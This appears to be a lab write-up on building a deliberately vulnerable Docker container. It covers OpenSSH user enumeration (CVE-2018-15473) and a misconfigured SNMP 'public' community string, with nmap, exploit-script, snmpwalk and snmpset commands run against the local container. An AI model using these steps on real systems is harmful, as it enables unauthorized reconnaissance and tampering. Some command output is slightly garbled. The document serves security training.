Developing a vulnerable docker container.

A) Vulnerability Details

CVE-2018-15473:

OpenSSH versions up to 7.7 are vulnerable to a user enumeration vulnerability. This is due to the absence of a delay in the bailout process for an invalid authenticating user until the packet containing the request is fully parsed. The vulnerability is specifically linked to auth2-gss.c, auth2-hostbased.c, and auth2-pubkey.c. This means that an attacker can easily figure out the active usernames on any given machine.

SNMPv1/2 "Public Community Strings":

SNMPv1 is particularly susceptible to security misconfigurations that involve the use of "Public Community Strings." The use of community strings for authentication in SNMPv1 is a significant security weakness. The "public" community string is essentially an open and shared key that provides read-only access to SNMP information on the device. If the administrator of the system misconfigures the snmpd.conf file and give the public string read/write access attackers can exploit this and authenticate into the server, they can then set any values they wish.

All resources used are outlined below.

B) Building and Deploying the docker container

Create the Dockerfile with all the required configurations

Dockerfile:

Script used to run services:

```
#!/bin/bash

# Start SSH
/usr/sbin/sshd -D &

# Start SNMP
/usr/sbin/snmpd -f
```

chmod +x start_services.sh before building and running docker container.

Docker container was built and ran on an Ubuntu VM.

Build the Docker Image

Run the Docker Container

	IMAGE	COMMAND	CREATED	STATUS	PORTS
NAMES 55898a786959 2/tcp nice k		"/start_services.sh"	5 seconds ago	Up 4 seconds	0.0.0.0:161->161/udp, :::161->161/udp, 0.0.0.0:2222->22/tcp, :::2222->2

Exploitation

OpenSSH:

Step 1: Look for SSH version (check if vulnerable)

sudo nmap -sV -p 22 172.17.0.2

OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)

OpenSSH <7.7 -> Vulnerable

Step 2: Run python script

```
PS python3 .\sshUsernameEnumExploit.py localhost --port 2222 --u sername root
root is a valid user!

PS python3 .\sshUsernameEnumExploit.py localhost --port 2222 --u sername some-random-user some-random-user is not a valid user!

PS python3 .\sshUsernameEnumExploit.py localhost --port 2222 --u some-random-user is not a valid user!

PS python3 .\sshUsernameEnumExploit.py localhost --port 2222 --u some-random-user is not a valid user!
```

To use the python script provided the following steps are required:

- 1) Paramiko version 2.12.0 python3 -m pip install paramiko==2.12.0 (Tested with Python 3.11.6 on Windows 11)
- 2) If you are going to download the exploit script change the following lines (this has already been fixed if you are using the provided script):

```
Line 33 - old_parse_service_accept =
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]

Line 33 + old_parse_service_accept =
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
```

Line 124 paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] =
malform_packet

Line 125 paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] =
call_error

Line 124 +
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT] =
malform_packet

Line 125 +
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_USERAUTH_FAILUR
E] = call_error

SNMP:

Step 1: Check for port 161 (default SNMP port)

sudo nmap -sU -p 161 172.17.0.2

```
Starting Nmap 7.80 ( https://nmap.org ) at 2023-12-06 13:43

Nmap scan report for 172.17.0.2

Host is up (0.000073s latency).

PORT STATE SERVICE
161/udp open snmp

MAC Address: 02:42:AC:11:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
```

Step 2: snmpwalk

snmpwalk -v 2c -c public 172.17.0.2

Step 3: Get sysName value

```
snmpwalk -v 2c -c public 172.17.0.2 -On | grep '.1.3.6.1.2.1.1.5.0'
```

```
.1.3.6.1.2.1.1.5.0 = STRING: "55898a786959"
```

Step 4: Rewrite the value using snmpset

```
snmpset -v 2c -c public 172.17.0.2 '.1.3.6.1.2.1.1.5.0' s SomeoneWasHere
iso.3.6.1.2.1.1.5.0 = STRING: "SomeoneWasHere"
```

Step 5: Verify that the value changed using snmpwalk

```
snmpwalk -v 2c -c public 172.17.0.2 -On | grep '.1.3.6.1.2.1.1.5.0'
```

.1.3.6.1.2.1.1.5.0 = STRING: "SomeoneWasHere"

C) Docker for amd64 and arm64 using bluidx

Step 1: Create new builder instance

docker buildx create --use

sweet_williams

Step 2: Inspect

Name: sweet_williams
Driver: docker-container
Last Activity: 2023-12-06 20:27:37 +0000 UTC

Nodes:
Name: sweet_williams0
Endpoint: unix:///var/run/docker.sock
Status: inactive
Platforms:

Step 3: Build the Image

docker buildx build --platform linux/amd64,linux/arm64 -t ssh-snmp -f Dockerfile.ssh-snmp .

Step 4: Run

CONTAINER ID	IMAGE	COMMAND	CREATED	STATUS	PORTS	NAMES
bde73a557b48	moby/buildkit:buildx-stable-1	"buildkitd"	4 minutes ago	Up 4 minutes		buildx buildkit sweet williams0